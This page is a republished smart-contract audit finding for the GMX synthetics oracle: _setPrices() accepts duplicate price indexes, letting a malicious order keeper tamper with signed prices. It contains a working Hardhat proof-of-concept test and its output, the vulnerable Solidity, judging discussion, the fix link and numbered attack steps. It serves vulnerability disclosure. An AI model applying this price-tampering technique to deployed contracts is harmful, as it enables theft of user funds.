Skip to content
Audit finding Advanced

The oracle price could be tampered

The oracle price validation function did not check for duplicate price indexes, allowing a malicious order keeper to supply the same index for multiple signers and tamper with the signed prices. This could let an attacker steal funds from the vault and markets.

KingNFT Follow

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/74

Found by

KingNFT

Summary

The _setPrices() function is missing to check duplicated prices indexes. Attackers such as malicious order keepers can exploit it to tamper signed prices.

Vulnerability Detail

The following test script shows how it works

TypeScript
import { expect } from "chai";

import { deployContract } from "../../utils/deploy";
import { deployFixture } from "../../utils/fixture";
import {
  TOKEN_ORACLE_TYPES,
  signPrices,
  getSignerInfo,
  getCompactedPrices,
  getCompactedPriceIndexes,
  getCompactedDecimals,
  getCompactedOracleBlockNumbers,
  getCompactedOracleTimestamps,
} from "../../utils/oracle";
import { printGasUsage } from "../../utils/gas";
import { grantRole } from "../../utils/role";
import * as keys from "../../utils/keys";

describe("AttackOracle", () => {
  const { provider } = ethers;

  let user0, signer0, signer1, signer2, signer3, signer4, signer7, signer9;
  let roleStore, dataStore, eventEmitter, oracleStore, oracle, wnt, wbtc, usdc;
  let oracleSalt;

  beforeEach(async () => {
    const fixture = await deployFixture();
    ({ user0, signer0, signer1, signer2, signer3, signer4, signer7, signer9 } = fixture.accounts);

    ({ roleStore, dataStore, eventEmitter, oracleStore, oracle, wnt, wbtc, usdc } = fixture.contracts);
    ({ oracleSalt } = fixture.props);
  });

  it("inits", async () => {
    expect(await oracle.oracleStore()).to.eq(oracleStore.address);
    expect(await oracle.SALT()).to.eq(oracleSalt);
  });

  it("tamperPrices", async () => {
    const blockNumber = (await provider.getBlock()).number;
    const blockTimestamp = (await provider.getBlock()).timestamp;
    await dataStore.setUint(keys.MIN_ORACLE_SIGNERS, 2);
    const block = await provider.getBlock(blockNumber);

    let signerInfo = getSignerInfo([0, 1]);
    let minPrices = [1000, 1000]; // if some signers sign a same price
    let maxPrices = [1010, 1010]; // if some signers sign a same price
    let signatures = await signPrices({
      signers: [signer0, signer1],
      salt: oracleSalt,
      minOracleBlockNumber: blockNumber,
      maxOracleBlockNumber: blockNumber,
      oracleTimestamp: blockTimestamp,
      blockHash: block.hash,
      token: wnt.address,
      tokenOracleType: TOKEN_ORACLE_TYPES.DEFAULT,
      precision: 1,
      minPrices,
      maxPrices,
    });

    // attacker tamper the prices and indexes
    minPrices[1] = 2000
    maxPrices[1] = 2020
    let indexes = getCompactedPriceIndexes([0, 0]) // share the same index

    await oracle.setPrices(dataStore.address, eventEmitter.address, {
      priceFeedTokens: [],
      signerInfo,
      tokens: [wnt.address],
      compactedMinOracleBlockNumbers: [blockNumber],
      compactedMaxOracleBlockNumbers: [blockNumber],
      compactedOracleTimestamps: [blockTimestamp],
      compactedDecimals: getCompactedDecimals([1]),
      compactedMinPrices: getCompactedPrices(minPrices),
      compactedMinPricesIndexes: indexes,
      compactedMaxPrices: getCompactedPrices(maxPrices),
      compactedMaxPricesIndexes: indexes,
      signatures,
    });

    const decimals = 10
    expect((await oracle.getPrimaryPrice(wnt.address)).min).eq(1500 * decimals);
    expect((await oracle.getPrimaryPrice(wnt.address)).max).eq(1515 * decimals);
  });

});

The output

Solidity
> npx hardhat test .\test\oracle\AttackOracle.ts


  AttackOracle
    √ inits
    √ tamperPrices (105ms)


  2 passing (13s)

Impact

Steal funds from the vault and markets.

Code Snippet

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/oracle/Oracle.sol#L430

Solidity
File: contracts\oracle\Oracle.sol
430:     function _setPrices(
431:         DataStore dataStore,
432:         EventEmitter eventEmitter,
433:         address[] memory signers,
434:         OracleUtils.SetPricesParams memory params
435:     ) internal {
436:         SetPricesCache memory cache;
437:         cache.minBlockConfirmations = dataStore.getUint(Keys.MIN_ORACLE_BLOCK_CONFIRMATIONS);
438:         cache.maxPriceAge = dataStore.getUint(Keys.MAX_ORACLE_PRICE_AGE);
439: 
440:         for (uint256 i = 0; i < params.tokens.length; i++) {
441:             cache.info.minOracleBlockNumber = OracleUtils.getUncompactedOracleBlockNumber(params.compactedMinOracleBlockNumbers, i);
442:             cache.info.maxOracleBlockNumber = OracleUtils.getUncompactedOracleBlockNumber(params.compactedMaxOracleBlockNumbers, i);
443: 
444:             if (cache.info.minOracleBlockNumber > cache.info.maxOracleBlockNumber) {
445:                 revert InvalidMinMaxBlockNumber(cache.info.minOracleBlockNumber, cache.info.maxOracleBlockNumber);
446:             }
447: 
448:             cache.info.oracleTimestamp = OracleUtils.getUncompactedOracleTimestamp(params.compactedOracleTimestamps, i);
449: 
450:             if (cache.info.minOracleBlockNumber > Chain.currentBlockNumber()) {
451:                 revert InvalidBlockNumber(cache.info.minOracleBlockNumber);
452:             }
453: 
454:             if (cache.info.oracleTimestamp + cache.maxPriceAge < Chain.currentTimestamp()) {
455:                 revert MaxPriceAgeExceeded(cache.info.oracleTimestamp);
456:             }
457: 
458:             // block numbers must be in ascending order
459:             if (cache.info.minOracleBlockNumber < cache.prevMinOracleBlockNumber) {
460:                 revert BlockNumbersNotSorted(cache.info.minOracleBlockNumber, cache.prevMinOracleBlockNumber);
461:             }
462:             cache.prevMinOracleBlockNumber = cache.info.minOracleBlockNumber;
463: 
464:             cache.info.blockHash = bytes32(0);
465:             if (Chain.currentBlockNumber() - cache.info.minOracleBlockNumber <= cache.minBlockConfirmations) {
466:                 cache.info.blockHash = Chain.getBlockHash(cache.info.minOracleBlockNumber);
467:             }
468: 
469:             cache.info.token = params.tokens[i];
470:             cache.info.precision = 10 ** OracleUtils.getUncompactedDecimal(params.compactedDecimals, i);
471:             cache.info.tokenOracleType = dataStore.getBytes32(Keys.oracleTypeKey(cache.info.token));
472: 
473:             cache.minPrices = new uint256[](signers.length);
474:             cache.maxPrices = new uint256[](signers.length);
475: 
476:             for (uint256 j = 0; j < signers.length; j++) {
477:                 cache.priceIndex = i * signers.length + j;
478:                 cache.minPrices[j] = OracleUtils.getUncompactedPrice(params.compactedMinPrices, cache.priceIndex);
479:                 cache.maxPrices[j] = OracleUtils.getUncompactedPrice(params.compactedMaxPrices, cache.priceIndex);
480: 
481:                 if (j == 0) { continue; }
482: 
483:                 // validate that minPrices are sorted in ascending order
484:                 if (cache.minPrices[j - 1] > cache.minPrices[j]) {
485:                     revert MinPricesNotSorted(cache.info.token, cache.minPrices[j], cache.minPrices[j - 1]);
486:                 }
487: 
488:                 // validate that maxPrices are sorted in ascending order
489:                 if (cache.maxPrices[j - 1] > cache.maxPrices[j]) {
490:                     revert MaxPricesNotSorted(cache.info.token, cache.maxPrices[j], cache.maxPrices[j - 1]);
491:                 }
492:             }
493: 
494:             for (uint256 j = 0; j < signers.length; j++) {
495:                 cache.signatureIndex = i * signers.length + j;
496:                 cache.minPriceIndex = OracleUtils.getUncompactedPriceIndex(params.compactedMinPricesIndexes, cache.signatureIndex);
497:                 cache.maxPriceIndex = OracleUtils.getUncompactedPriceIndex(params.compactedMaxPricesIndexes, cache.signatureIndex);
498: 
499:                 if (cache.signatureIndex >= params.signatures.length) {
500:                     Array.revertArrayOutOfBounds(params.signatures, cache.signatureIndex, "signatures");
501:                 }
502: 
503:                 if (cache.minPriceIndex >= cache.minPrices.length) {
504:                     Array.revertArrayOutOfBounds(cache.minPrices, cache.minPriceIndex, "minPrices");
505:                 }
506: 
507:                 if (cache.maxPriceIndex >= cache.maxPrices.length) {
508:                     Array.revertArrayOutOfBounds(cache.maxPrices, cache.maxPriceIndex, "maxPrices");
509:                 }
510: 
511:                 cache.info.minPrice = cache.minPrices[cache.minPriceIndex];
512:                 cache.info.maxPrice = cache.maxPrices[cache.maxPriceIndex];
513: 
514:                 if (cache.info.minPrice > cache.info.maxPrice) {
515:                     revert InvalidSignerMinMaxPrice(cache.info.minPrice, cache.info.maxPrice);
516:                 }
517: 
518:                 OracleUtils.validateSigner(
519:                     SALT,
520:                     cache.info,
521:                     params.signatures[cache.signatureIndex],
522:                     signers[j]
523:                 ); // @audit dunplicated price
524:             }
525: 
526:             uint256 medianMinPrice = Array.getMedian(cache.minPrices) * cache.info.precision;
527:             uint256 medianMaxPrice = Array.getMedian(cache.maxPrices) * cache.info.precision;
528: 
529:             if (medianMinPrice == 0 || medianMaxPrice == 0) {
530:                 revert InvalidOraclePrice(cache.info.token);
531:             }
532: 
533:             if (medianMinPrice > medianMaxPrice) {
534:                 revert InvalidMedianMinMaxPrice(medianMinPrice, medianMaxPrice);
535:             }
536: 
537:             if (primaryPrices[cache.info.token].isEmpty()) {
538:                 emitOraclePriceUpdated(eventEmitter, cache.info.token, medianMinPrice, medianMaxPrice, true, false);
539: 
540:                 primaryPrices[cache.info.token] = Price.Props(
541:                     medianMinPrice,
542:                     medianMaxPrice
543:                 );
544:             } else {
545:                 emitOraclePriceUpdated(eventEmitter, cache.info.token, medianMinPrice, medianMaxPrice, false, false);
546: 
547:                 secondaryPrices[cache.info.token] = Price.Props(
548:                     medianMinPrice,
549:                     medianMaxPrice
550:                 );
551:             }
552: 
553:             tokensWithPrices.add(cache.info.token);
554:         }
555:     }

Tool used

Manual Review

Recommendation

Don't allow duplicated prices indexes

Discussion

IllIllI000

@xvi10 can you confirm that this is invalid?

xvi10

it is a valid issue

IllIllI000

@hrishibhat agree with sponsor – valid Medium

ydspa

Escalate for 10 USDC

agree with sponsor and @IllIllI000, it should be at least a valid Medium.

As large amount of funds can be stolen , even the top privileged admins are not allowed to steal user's funds. So i insist a issue which can be triggered by keeper role to cause large loss of users is not Low/info.

Especially, GMX may grant keeper role to third-party such as KeeperDAO https://forum.rook.fi/t/kip-17-provide-a-coordination-facility-for-gmx/272 Or even worse, to make it public in the future.

sherlock-admin

Escalate for 10 USDC

agree with sponsor and @IllIllI000, it should be at least a valid Medium.

As large amount of funds can be stolen , even the top privileged admins are not allowed to steal user's funds. So i insist a issue which can be triggered by keeper role to cause large loss of users is not Low/info.

Especially, GMX may grant keeper role to third-party such as KeeperDAO https://forum.rook.fi/t/kip-17-provide-a-coordination-facility-for-gmx/272 Or even worse, to make it public in the future.

You've created a valid escalation for 10 USDC!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

IllIllI000

I messed up the tagging - Valid solo Medium

hrishibhat

Escalation accepted

Considering this issue a valid medium

sherlock-admin

Escalation accepted

Considering this issue a valid medium

This issue's escalations have been accepted!

Contestants' payouts and scores will be updated according to the changes made on this issue.

xvi10

Fix in https://github.com/gmx-io/gmx-synthetics/pull/122

The original report as published on Sherlock, by KingNFT. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the price validation loop did not ensure that each signer's price index was unique, so duplicate indexes allowed the same signed price to be reused with different values.

Impact

A malicious order keeper could tamper with signed prices and steal funds from the vault and markets.

What the attacker needed

Malicious order keeper role

The fix

The issue was fixed by adding a check to reject duplicated price indexes.

How it was found

  1. Set the minimum number of oracle signers to two.
  2. Have two signers sign the same min and max prices.
  3. Change the second price values and set both price indexes to the same value.
  4. Call setPrices with the tampered prices and indexes.
  5. Observe that the oracle returns the manipulated median price.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An oracle is a service that feeds prices into a smart contract. This report shows that the code checking those prices did not notice when the same price slot was used twice, so someone with a special role could change the prices and take money.

More by KingNFT

View all

25 more disclosed reports, best first.

More from GMX Update

View all

The newest disclosed reports for this program.

Similar reports

Same bug class and techniques, clearest first.